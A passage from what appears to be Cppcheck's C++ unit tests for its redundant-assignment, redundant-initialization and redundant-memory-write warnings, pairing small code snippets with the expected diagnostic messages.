\"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n 